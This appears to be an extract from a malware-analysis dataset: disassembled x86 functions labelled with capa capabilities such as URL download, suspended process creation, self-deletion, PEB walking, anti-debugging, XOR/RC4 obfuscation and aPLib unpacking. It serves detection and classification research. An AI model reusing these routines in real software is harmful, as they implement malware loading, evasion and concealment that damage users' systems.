joyce8/EMBER2024-capa huggingface dataset:
Function at 0x48c278
Capabilities:
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
call fcn.00404b34
mov eax, dword [ebp - 8]
call fcn.00404b34
xor eax, eax
push ebp
push 0x48c306
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x48c2df
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0
mov eax, dword [ebp - 8]
call fcn.00404b44
push eax
mov eax, dword [ebp - 4]
call fcn.00404b44
push eax
push 0
call sub.URLMON.DLL_URLDownloadToFileA
test eax, eax
sete bl
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x48c2eb
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x48c30d
lea eax, [ebp - 8]
mov edx, 2
call fcn.004046a8
ret

Function at 0x48c35c
Capabilities:
Create process on windows
Create process suspended
Self delete

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdcc
xor edx, edx
mov dword [ebp - 0x230], edx
mov dword [ebp - 0x234], edx
mov dword [ebp - 0x228], edx
mov dword [ebp - 0x22c], edx
mov dword [ebp - 4], edx
xor eax, eax
push ebp
push 0x48c525
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
mov edx, 0x48c538
call fcn.0040471c
mov edx, dword [ebp - 4]
lea eax, [ebp - 0x1d0]
call fcn.00402ee8
lea eax, [ebp - 0x1d0]
call fcn.00402c84
call fcn.004028c4
mov edx, 0x48c558
lea eax, [ebp - 0x1d0]
call fcn.00404d34
call fcn.0040333c
call fcn.004028c4
push 0x48c568
lea edx, [ebp - 0x22c]
xor eax, eax
call fcn.00402b34
push dword [ebp - 0x22c]
push 0x48c578
lea eax, [ebp - 0x228]
mov edx, 3
call fcn.00404a04
mov edx, dword [ebp - 0x228]
lea eax, [ebp - 0x1d0]
call fcn.00404d34
call fcn.0040333c
call fcn.004028c4
push 0x48c584
lea edx, [ebp - 0x234]
xor eax, eax
call fcn.00402b34
push dword [ebp - 0x234]
push 0x48c578
push 0x48c598
lea eax, [ebp - 0x230]
mov edx, 4
call fcn.00404a04
mov edx, dword [ebp - 0x230]
lea eax, [ebp - 0x1d0]
call fcn.00404d34
call fcn.0040333c
call fcn.004028c4
mov edx, 0x48c5ac
lea eax, [ebp - 0x1d0]
call fcn.00404d34
call fcn.0040333c
call fcn.004028c4
lea eax, [ebp - 0x1d0]
call fcn.00402fb0
call fcn.004028c4
lea eax, [ebp - 0x224]
xor ecx, ecx
mov edx, 0x44
call fcn.00403118
mov dword [ebp - 0x1f8], 1
mov word [ebp - 0x1f4], 0
lea eax, [ebp - 0x1e0]
push eax
lea eax, [ebp - 0x224]
push eax
push 0
push 0
push 0x40
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00404b44
push eax
push 0
call sub.kernel32.dll_CreateProcessA
test eax, eax
je 0x48c4ff
mov eax, dword [ebp - 0x1dc]
push eax
call sub.kernel32.dll_CloseHandle_1
mov eax, dword [ebp - 0x1e0]
push eax
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x48c52c
lea eax, [ebp - 0x234]
mov edx, 4
call fcn.004046a8
lea eax, [ebp - 4]
call fcn.00404684
ret
Function at 0x498280
Capabilities:
Encode data using xor

Disassembly:
mov edx, dword [esp + 4]
xor ecx, ecx
mov cx, word [edx]
xor eax, eax
test cx, cx
je 0x4982ae
push esi
mov esi, eax
shl eax, 4
sar esi, 0x1c
xor esi, eax
movzx eax, cx
add edx, 2
xor ecx, ecx
mov cx, word [edx]
xor eax, esi
test cx, cx
jne 0x498291
pop esi
ret 4

Function at 0x49e1b0
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov ebx, dword [esp + 0xc]
push ebp
push esi
push edi
mov edi, ecx
mov ecx, ebx
call fcn.004360f0
mov ecx, ebx
mov ebp, eax
xor esi, esi
call fcn.004360f0
mov cx, word [eax]
test cx, cx
je 0x49e1f2
mov edx, esi
sar edx, 0x1c
shl esi, 4
movzx ecx, cx
xor edx, esi
xor edx, ecx
add eax, 2
xor ecx, ecx
mov cx, word [eax]
test cx, cx
mov esi, edx
jne 0x49e1d4
push esi
push ebp
mov ecx, edi
call fcn.0049bf40
mov edx, dword [edi + 0xad4]
mov ecx, dword [edx + eax*4]
cmp ecx, 1
ja 0x49e221
push esi
mov esi, dword [esp + 0x18]
push eax
push ebx
push esi
mov ecx, edi
call fcn.004981e0
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
ret 8
mov eax, dword [esp + 0x14]
pop edi
pop esi
and ecx, 0xfffffffd
or ecx, 5
pop ebp
mov dword [eax], ecx
pop ebx
ret 8
Function at 0x40f3d0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0xffffffffffffffff
push esi
mov esi, esp
xor dword [esp - 0x43], esi
xor dword [esp - 0x45], esi
and dword [esi + 4], eax
pop esi
push 0
ja 0x40f319
add ebx, 0
push ecx
call 0x40f32e
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
add esp, 8
xor dword [esp], ebx
sub esp, 0x6b
mov dword [esp + 0x67], edx
add esp, 0x67
push ecx
push 0
xor dword [esp - 0x56], edx
xor edi, 0
add dword [esp], edi
push esi
mov ebx, 0x6c71a22d
sub ebx, dword [0x6c739a6c]
mov dword [ebp - 8], ebx
xchg esi, eax
push 0x6c739a5c
call fcn.0040adf8
xchg esi, eax
add esi, ebx
mov edx, dword [ebp + 8]
sub edx, ebx
call fcn.0040a306
mov edi, eax
mov eax, dword [esi + 8]
xor dword [esp - 0x69], edx
xor ebx, 0
xor eax, edi
cmp edx, eax
jb 0x40f48c
mov eax, dword [esi + 0xc]
xor eax, edi
cmp edx, eax
ja 0x40f48c
mov ecx, dword [esi + 0x10]
sub dword [esp - 0x34], ebx
xor ecx, edi
mov edx, dword [esi + 0x14]
xor edx, edi
shl edx, 2
add edx, 0x18
mov eax, dword [esi]
xor eax, edi
cmp eax, 1
je 0x40f443
mov eax, 1
lock xchg dword [0x6c739a68], eax
push 0x3dd1fc71
call 0x40f3d0
push esi
add esp, 8
cmp eax, 0
jne 0x40f3b9
push edx
mov eax, edi
xor byte [esi + edx], al
inc edx
dec ecx
jne 0x40f3df
pop edx
mov eax, dword [esi + 0x14]
xor eax, edi
js 0x40f3f4
cmp ecx, edx
cmp eax, 0
je 0x40f419
mov dword [ebp - 4], eax
lea ecx, [esi + 0x18]
mov eax, dword [esi + ecx]
xor eax, edi
add eax, edx
add dword [esi + eax], ebx
add ecx, 4
dec dword [ebp - 4]
jne 0x40f403
mov eax, 1
mov dword [esp - 0x1a], eax
push 0x8ae1b7eb
call fcn.0040f432
dec eax
loope 0x40f435
invalid
xor eax, edi
mov dword [esi], eax
mov dword [0x6c739a68], 0
add edx, esi
mov dword [ebp + 4], edx
xchg dword [esp], esi
push ecx
lea ecx, [edi - 0x72d1f741]
mov ecx, esp
mov dword [ecx - 0x15], ebx
pop ecx
push esi
xor esi, esi
mov esi, esp
and dword [esi - 0x1d], ecx
pop esi
mov dword [esp], esi
jb 0x40f469
xor edx, 0
add esp, 4
pop edi
pop ecx
pop edx
pop ebx
pop eax
leave
jmp 0x40f47e
jmp 0x40f489
ret 4
mov eax, dword [esi + 4]
xor eax, edi
add esi, eax
jmp 0x40f377

Function at 0x4164f1
Capabilities:
Access peb ldr_data

Disassembly:
add esp, 8
and dword [esp], ebx
push ecx
push edx
push edi
push esi
or edi, 0xffffffff
not edi
add edi, dword [ebp + 8]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov ecx, dword [eax + 0xc]
push ecx
xor edx, edx
mov ecx, dword [ecx]
cmp ecx, dword [esp]
je 0x4167c7
push ebp
push 0xffffffffffffffff
sub esp, 0x32
mov dword [esp + 0x2e], 0x6c7266e0
add esp, 0x2e
sub esp, 4
mov dword [esp], 0x6c71d6a6
push 0xffffffffffffffff
call fcn.0040d6f1
xchg edx, eax
and eax, 0
add eax, 0x75d46dc4
push ecx
and ecx, 0xcfb6d7ec
mov ecx, esp
mov dword [ecx - 0x54], esi
pop ecx
ja 0x41655b
and eax, eax
xchg edx, eax
mov edx, dword [ecx + edx - 0x75d46dac]
call fcn.00416573
mov byte [0xee69f033], al
invalid
mov eax, ecx
pop esi
mov edi, dword [esp]
add esp, 4
pop edx
xor ecx, ecx
add ecx, 0xffffffff
and ecx, dword [esp]
xor ecx, 0
add esp, 4
pop ebx
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
jno 0x4167bb
xor eax, 0
ret 4
xor ecx, ecx
jmp 0x41678f
Function at 0x1000108c
Capabilities:
Execute anti-debugging instructions

Disassembly:
push ebx
push ecx
push 1
pop eax
cpuid
test ecx, 0x40000000
setne al
test al, al
je 0x100010a9
rdrand eax
rdrand edx
pop ecx
pop ebx
ret
push 7
pop eax
xor ecx, ecx
cpuid
test ebx, 0x40000
setne al
test al, al
je 0x100010c6
rdseed eax
rdseed edx
pop ecx
pop ebx
ret
rdtsc
mov ecx, eax
ror ecx, 0xd
rdtsc
mov edx, eax
rol edx, 0xd
mov eax, ecx
pop ecx
pop ebx
ret

Function at 0x10001174
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push edx
mov ecx, dword [ebp + 8]
mov edx, dword [ebp + 0xc]
xor dword [ecx], 0x47037fc8
not dword [ecx]
add ecx, 4
dec edx
jne 0x1000117f
pop edx
pop ecx
pop ebp
ret 8

Function at 0x100012d0
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push ebx
push ecx
push edx
push esi
push edi
lea edi, [ebp - 0x104]
xor al, al
stosb byte es:[edi], al
mov ecx, 0x2a
mov al, 0xff
rep stosb byte es:[edi], al
mov al, 0x3e
stosb byte es:[edi], al
mov ecx, 3
mov al, 0xff
rep stosb byte es:[edi], al
mov al, 0x3f
stosb byte es:[edi], al
mov ecx, 0xa
mov al, 0x34
stosb byte es:[edi], al
inc al
loop 0x10001306
mov ecx, 3
mov al, 0xff
rep stosb byte es:[edi], al
xor al, al
stosb byte es:[edi], al
mov ecx, 3
mov al, 0xff
rep stosb byte es:[edi], al
mov ecx, 0x1a
xor al, al
stosb byte es:[edi], al
inc al
loop 0x10001327
mov dl, al
mov ecx, 6
mov al, 0xff
rep stosb byte es:[edi], al
mov ecx, 0x1a
mov al, dl
stosb byte es:[edi], al
inc al
loop 0x1000133e
mov ecx, 0x85
mov al, 0xff
rep stosb byte es:[edi], al
mov edi, dword [ebp + 8]
xor eax, eax
mov esi, edi
mov al, byte [edi]
add edi, 4
test al, al
jne 0x10001353
lea ebx, [edi - 4]
mov eax, 0x3d
sub ebx, esi
je 0x100013e5
cmp al, byte [esi + ebx - 1]
sete dl
jne 0x10001375
mov byte [esi + ebx - 1], ah
cmp al, byte [esi + ebx - 2]
sete al
jne 0x10001382
mov byte [esi + ebx - 2], ah
add al, dl
mov edi, dword [ebp + 0xc]
shr ebx, 2
lea edx, [ebx + ebx*2]
sub edx, eax
push edx
mov dword [ebp - 4], ebx
mov ecx, dword [esi]
movzx edx, cl
movzx ebx, ch
push edi
lea edi, [ebp - 0x104]
mov al, byte [edx + edi]
mov ah, byte [ebx + edi]
shr ecx, 0x10
add esi, 4
movzx edx, cl
movzx ecx, ch
mov bl, byte [edx + edi]
mov bh, byte [ecx + edi]
pop edi
mov dl, ah
mov dh, bl
shl al, 2
shr bl, 2
shl dh, 6
shl ah, 4
shr dl, 4
or bh, dh
or al, dl
or ah, bl
mov byte [edi], al
mov byte [edi + 2], bh
mov byte [edi + 1], ah
dec dword [ebp - 4]
lea edi, [edi + 3]
jne 0x10001393
pop eax
pop edi
pop esi
pop edx
pop ecx
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x100013f0
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffbc
push ebx
push ecx
push edx
push esi
push edi
lea edi, [ebp - 0x44]
mov eax, 0x44434241
stosd dword es:[edi], eax
mov eax, 0x48474645
stosd dword es:[edi], eax
mov eax, 0x4c4b4a49
stosd dword es:[edi], eax
mov eax, 0x504f4e4d
stosd dword es:[edi], eax
mov eax, 0x54535251
stosd dword es:[edi], eax
mov eax, 0x58575655
stosd dword es:[edi], eax
mov eax, 0x62615a59
stosd dword es:[edi], eax
mov eax, 0x66656463
stosd dword es:[edi], eax
mov eax, 0x6a696867
stosd dword es:[edi], eax
mov eax, 0x6e6d6c6b
stosd dword es:[edi], eax
mov eax, 0x7271706f
stosd dword es:[edi], eax
mov eax, 0x76757473
stosd dword es:[edi], eax
mov eax, 0x7a797877
stosd dword es:[edi], eax
mov eax, 0x33323130
stosd dword es:[edi], eax
mov eax, 0x37363534
stosd dword es:[edi], eax
mov eax, 0x2f2b3938
stosd dword es:[edi], eax
mov esi, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
mov dword [ebp - 4], eax
mov edi, dword [ebp + 0x10]
cmp dword [ebp - 4], 0
jne 0x10001472
jmp 0x100014cd
mov al, byte [esi]
mov dl, byte [esi + 1]
mov bl, byte [esi + 2]
mov ah, al
mov dh, dl
mov bh, bl
and ah, 3
and dh, 0xf
and bh, 0x3f
shr al, 2
shr dl, 4
shr bl, 6
shl ah, 4
shl dh, 2
or ah, dl
or bl, dh
movzx edx, al
movzx ecx, ah
push esi
lea esi, [ebp - 0x44]
mov al, byte [edx + esi]
mov ah, byte [ecx + esi]
movzx edx, bl
movzx ecx, bh
mov bl, byte [edx + esi]
mov bh, byte [ecx + esi]
pop esi
and eax, 0xffff
shl ebx, 0x10
add esi, 3
or eax, ebx
stosd dword es:[edi], eax
sub dword [ebp - 4], 3
jns 0x1000146a
cmp dword [ebp - 4], 0
je 0x100014df
add edi, dword [ebp - 4]
mov byte [edi], 0x3d
inc edi
inc dword [ebp - 4]
jne 0x100014d6
mov eax, edi
mov word [eax], 0
sub eax, dword [ebp + 0x10]
pop edi
pop esi
pop edx
pop ecx
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x10008cd0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffac
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0x14], 0
push 1
push 0
push 0
call dword [0x1001a068]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x10008daf
lea eax, [ebp - 0x54]
mov dword [eax], 0x47717f9c
mov dword [eax + 4], 0x47707fbd
mov dword [eax + 8], 0x47667fbc
mov dword [eax + 0xc], 0x474a7fac
mov dword [eax + 0x10], 0x47707fa6
mov dword [eax + 0x14], 0x47627fbc
mov dword [eax + 0x18], 0x476f7fa4
mov dword [eax + 0x1c], 0x47717fad
mov dword [eax + 0x20], 0x47037fc8
mov ecx, 9
xor dword [eax], 0x47037fc8
add eax, 4
dec ecx
jne 0x10008d4a
push 0x14
lea eax, [ebp - 0x54]
push eax
push dword [ebp - 4]
call dword [0x1001a070]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x10008daf
mov dword [ebp - 0x14], 0
lea eax, [ebp - 0xc]
push eax
push 0x24
lea eax, [ebp - 0x30]
push eax
push 0
push dword [ebp - 8]
call dword [0x1001a080]
test eax, eax
jne 0x10008d90
jmp 0x10008daf
cmp dword [ebp - 0x2c], 1
jne 0x10008dab
push 0
push 0
push dword [ebp - 8]
call dword [0x1001a078]
test eax, eax
jne 0x10008da9
jmp 0x10008daf
jmp 0x10008d6e
jmp 0x10008daf
cmp dword [ebp - 8], 0
je 0x10008dbe
push dword [ebp - 8]
call dword [0x1001a08c]
cmp dword [ebp - 4], 0
je 0x10008dcd
push dword [ebp - 4]
call dword [0x1001a08c]
mov eax, dword [ebp - 0x14]
mov esp, ebp
pop ebp
ret

Function at 0x10010768
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov dword [ebp - 4], 0
mov ebx, dword [ebp + 8]
test dword [ebx + 0x44], 0x40000000
je 0x10010786
ror ebx, 1
lea esi, str.c0aZ1h_
push dword [esi - 4]
call fcn.10006878
mov edi, eax
test edi, edi
je 0x10010824
push esi
push edi
mov ecx, dword [esi - 4]
lodsb al, byte [esi]
xor al, 0x30
stosb byte es:[edi], al
dec ecx
test ecx, ecx
jne 0x100107a3
pop edi
pop esi
mov esi, dword [esi - 4]
push dword [ebp + 0xc]
pop dword [ebp - 8]
lea eax, [esi*2]
push eax
push 8
push ebx
call dword [ebp - 8]
mov esi, eax
test esi, esi
je 0x1001081e
push esi
push edi
call fcn.10010ba8
add esp, 8
lea esi, [esi + 0x83]
push dword [ebp + 0xc]
push dword [ebp + 8]
push esi
call fcn.10010830
mov dword [0x10019c3c], eax
lea esi, [esi + 0x41]
push dword [ebp + 0xc]
push dword [ebp + 8]
push esi
call fcn.10010830
mov dword [0x10019c34], eax
lea esi, [esi + 0xd7]
push dword [ebp + 0xc]
push dword [ebp + 8]
push esi
call fcn.10010830
mov dword [0x10019c38], eax
mov dword [ebp - 4], 1
push edi
call fcn.100068a0
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x10010938
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov eax, 0xfffefdfc
mov ecx, 0x40
mov ebx, dword [ebp + 0x10]
mov dword [ebx + ecx*4 - 4], eax
sub eax, 0x4040404
dec ecx
jne 0x1001094b
mov edi, dword [ebp + 0xc]
mov esi, 0x40
xor ebx, ebx
push ebp
mov ebp, dword [ebp + 0x10]
mov eax, ecx
xor edx, edx
div esi
mov al, cl
mov dl, byte [edi + edx]
add dl, byte [ebp + eax]
add dl, bl
mov bl, byte [ebp + edx]
mov dl, byte [ebp + ebx]
xchg byte [ebp + eax], dl
mov byte [ebp + ebx], dl
inc ecx
cmp ecx, 0x300
jne 0x10010965
pop ebp
xor ecx, ecx
mov edi, dword [ebp + 8]
mov esi, 0x20
push ebp
mov ebp, dword [ebp + 0x10]
mov eax, ecx
xor edx, edx
div esi
mov al, cl
mov dl, byte [edi + edx]
add dl, byte [ebp + eax]
add dl, bl
mov bl, byte [ebp + edx]
mov dl, byte [ebp + ebx]
xchg byte [ebp + eax], dl
mov byte [ebp + ebx], dl
inc ecx
cmp ecx, 0x300
jne 0x1001099e
pop ebp
xor ecx, ecx
mov edi, dword [ebp + 0xc]
mov esi, 0x40
push ebp
mov ebp, dword [ebp + 0x10]
mov eax, ecx
xor edx, edx
div esi
mov al, cl
mov dl, byte [edi + edx]
add dl, byte [ebp + eax]
add dl, bl
mov bl, byte [ebp + edx]
mov dl, byte [ebp + ebx]
xchg byte [ebp + eax], dl
mov byte [ebp + ebx], dl
inc ecx
cmp ecx, 0x300
jne 0x100109d7
pop ebp
mov eax, ebx
pop edi
pop esi
pop ebx
pop ebp
ret 0xc

Function at 0x10010a0c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
xor eax, eax
mov ebx, dword [ebp + 0x14]
xor ecx, ecx
xor edx, edx
mov esi, dword [ebp + 0xc]
mov edi, dword [ebp + 8]
test esi, esi
je 0x10010a58
push ebp
mov ebp, dword [ebp + 0x10]
mov dl, byte [ebp + ecx]
add dl, bl
mov bl, byte [ebp + edx]
mov dl, byte [ebp + ebx]
mov dl, byte [ebp + edx]
inc dl
mov al, byte [ebp + edx]
xor byte [edi], al
mov dl, byte [ebp + ebx]
xchg byte [ebp + ecx], dl
mov byte [ebp + ebx], dl
inc cl
inc edi
dec esi
test esi, esi
jne 0x10010a29
pop ebp
pop edi
pop esi
pop ebx
pop ebp
ret 0x10

Function at 0x10010a60
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov esi, dword [ebp + 0xc]
mov edi, dword [ebp + 8]
mov ebx, 6
lodsd eax, dword [esi]
bswap eax
ror eax, 0xd
mov edx, eax
not edx
lodsd eax, dword [esi]
rol eax, 0xb
bswap eax
xor eax, edx
stosd dword es:[edi], eax
lodsd eax, dword [esi]
rol eax, 9
bswap eax
mov edx, eax
not edx
stosd dword es:[edi], eax
lodsd eax, dword [esi]
rol eax, 7
bswap eax
xor eax, edx
mov edx, eax
not edx
stosd dword es:[edi], eax
rol eax, 5
xor eax, edx
stosd dword es:[edi], eax
lea esi, [edi - 0x10]
dec ebx
test ebx, ebx
jne 0x10010a71
pop edi
pop esi
pop ebx
pop ebp
ret 8
Function at 0x10010ba8
Capabilities:
Decompress data using aplib

Disassembly:
pushal
mov esi, dword [esp + 0x24]
mov edi, dword [esp + 0x28]
cld
mov dl, pe_nt_image_headers32
mov al, byte [esi]
add esi, 1
mov byte [edi], al
add edi, 1
mov ebx, 2
add dl, dl
jne 0x10010bcc
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x10010bb4
add dl, dl
jne 0x10010bd7
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x10010c28
xor eax, eax
add dl, dl
jne 0x10010be4
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x10010cc5
add dl, dl
jne 0x10010bf3
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x10010bfe
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x10010c09
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x10010c14
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x10010c1e
mov ebx, edi
sub ebx, eax
mov al, byte [ebx]
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x10010bc3
mov eax, 1
add dl, dl
jne 0x10010c36
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x10010c41
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x10010c2d
sub eax, ebx
mov ebx, 1
jne 0x10010c74
mov ecx, 1
add dl, dl
jne 0x10010c5a
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x10010c65
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x10010c51
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x10010bc3
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x10010c8b
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x10010c96
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x10010c82
cmp eax, 0x7d00
sbb ecx, 0xffffffff
cmp eax, 0x500
sbb ecx, 0xffffffff
cmp eax, 0x80
adc ecx, 0
cmp eax, 0x80
adc ecx, 0
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x10010bc3
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x10010ce6
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x10010bc3
sub edi, dword [esp + 0x28]
mov dword [esp + 0x1c], edi
popal
ret
Function at 0x45ec59
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
mov ecx, dword [ebp + 8]
push ebx
push esi
mov esi, eax
mov eax, dword [esi]
add ecx, eax
push edi
mov edi, dword [ecx]
add eax, 4
mov dword [esi], eax
xor ecx, ecx
push 2
pop edx
lea eax, [edi + 1]
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call 0x4a61e6
mov ecx, dword [esi]
add ecx, dword [ebp + 8]
lea ebx, [edi + edi]
push ebx
push ecx
push eax
mov dword [ebp - 4], eax
call 0x4a86b0
mov eax, dword [ebp - 4]
add dword [esi], ebx
xor ecx, ecx
add esp, 0x10
cmp edi, ecx
mov word [ebx + eax], cx
jle 0x45ecb5
xor word [eax + ecx*2], di
inc ecx
cmp ecx, edi
jl 0x45ecac
push eax
or eax, 0xffffffff
call fcn.0046580b
push dword [ebp - 4]
mov esi, eax
call 0x4a5ea2
pop ecx
pop ecx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret 4

Function at 0x46906c
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push esi
xor esi, esi
inc esi
mov dword [0x47c518], eax
push edi
mov edx, esi
mov eax, 0x47c518
mov ecx, dword [eax]
mov edi, ecx
shr edi, 0x1e
xor edi, ecx
imul edi, edi, 0x6c078965
add edi, edx
mov dword [eax + 4], edi
add eax, 4
inc edx
cmp eax, 0x47ced4
jl 0x46907d
pop edi
mov dword [0x473080], esi
mov dword [0x47cee8], esi
pop esi
ret

Function at 0x4690ab
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push ecx
cmp dword [0x47cee8], 0
push ebx
push ebp
push esi
push edi
mov esi, 0x47c518
jne 0x4690cb
push 0
call 0x4aa937
pop ecx
call fcn.0046906c
mov dword [0x473080], 0x270
mov dword [0x47c510], esi
mov edx, 0xe3
mov ecx, 0x7ffffffe
mov eax, 0x9908b0df
mov ebx, dword [esi]
lea edi, [esi + 4]
mov ebp, dword [edi]
xor ebx, ebp
and ebx, ecx
xor ebx, dword [esi]
mov dword [esp + 0x10], ecx
mov ecx, ebp
and cl, 1
shr ebx, 1
neg cl
sbb ecx, ecx
and ecx, eax
xor ebx, ecx
xor ebx, dword [esi + 0x634]
dec edx
mov ecx, dword [esp + 0x10]
mov dword [esi], ebx
mov esi, edi
jne 0x4690ea
mov edx, 0x18c
mov ebx, dword [esi]
lea edi, [esi + 4]
mov ebp, dword [edi]
xor ebx, ebp
and ebx, ecx
xor ebx, dword [esi]
mov dword [esp + 0x10], ecx
mov ecx, ebp
and cl, 1
shr ebx, 1
neg cl
sbb ecx, ecx
and ecx, eax
xor ebx, ecx
xor ebx, dword [esi - 0x38c]
dec edx
mov ecx, dword [esp + 0x10]
mov dword [esi], ebx
mov esi, edi
jne 0x469120
mov edx, dword [0x47c518]
mov edi, dword [esi]
xor edi, edx
and edi, ecx
xor edi, dword [esi]
and dl, 1
shr edi, 1
neg dl
sbb edx, edx
and edx, eax
xor edi, edx
xor edi, dword [esi - 0x38c]
mov dword [esi], edi
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret

Function at 0x46917a
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
dec dword [0x473080]
jne 0x469187
call fcn.004690ab
mov eax, dword [0x47c510]
mov ecx, dword [eax]
add dword [0x47c510], 4
mov eax, ecx
shr eax, 0xb
xor ecx, eax
mov eax, ecx
and eax, 0xff3a58ad
shl eax, 7
xor ecx, eax
mov eax, ecx
and eax, 0xffffdf8c
shl eax, 0xf
xor ecx, eax
mov eax, ecx
shr eax, 0x12
xor eax, ecx
shr eax, 1
ret
Function at 0x4691be
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
push ecx
dec dword [0x473080]
jne 0x4691cc
call fcn.004690ab
mov eax, dword [0x47c510]
mov eax, dword [eax]
add dword [0x47c510], 4
mov ecx, eax
shr ecx, 0xb
xor eax, ecx
mov ecx, eax
and ecx, 0xff3a58ad
shl ecx, 7
xor eax, ecx
mov ecx, eax
and ecx, 0xffffdf8c
shl ecx, 0xf
xor eax, ecx
mov ecx, eax
shr ecx, 0x12
xor ecx, eax
test ecx, ecx
mov dword [esp], ecx
fild dword [esp]
jge 0x469212
fadd qword [0x46d8e8]
fmul qword [0x46d8e0]
pop ecx
ret

Function at 0x4697ea
Capabilities:
Hash data with md5

Disassembly:
push 8
lea eax, [esi + 0x44]
push 0
push eax
call 0x4a8fa0
add esp, 0xc
mov dword [esi + 0x34], 0x67452301
mov dword [esi + 0x38], 0xefcdab89
mov dword [esi + 0x3c], 0x98badcfe
mov dword [esi + 0x40], 0x10325476
ret

Function at 0x46a3b6
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xdc
push esi
push edi
lea eax, [ebp - 0xdc]
call fcn.0046a030
push dword [ebp + 0x10]
lea esi, [ebp - 0xdc]
call fcn.0046a170
xor edi, edi
cmp dword [ebp + 0xc], edi
jbe 0x46a3fb
mov eax, dword [ebp + 8]
lea esi, [edi + eax]
lea eax, [ebp - 0xdc]
push eax
call fcn.0046a142
xor byte [esi], al
inc edi
cmp edi, dword [ebp + 0xc]
jb 0x46a3e1
pop edi
pop esi
leave
ret 0xc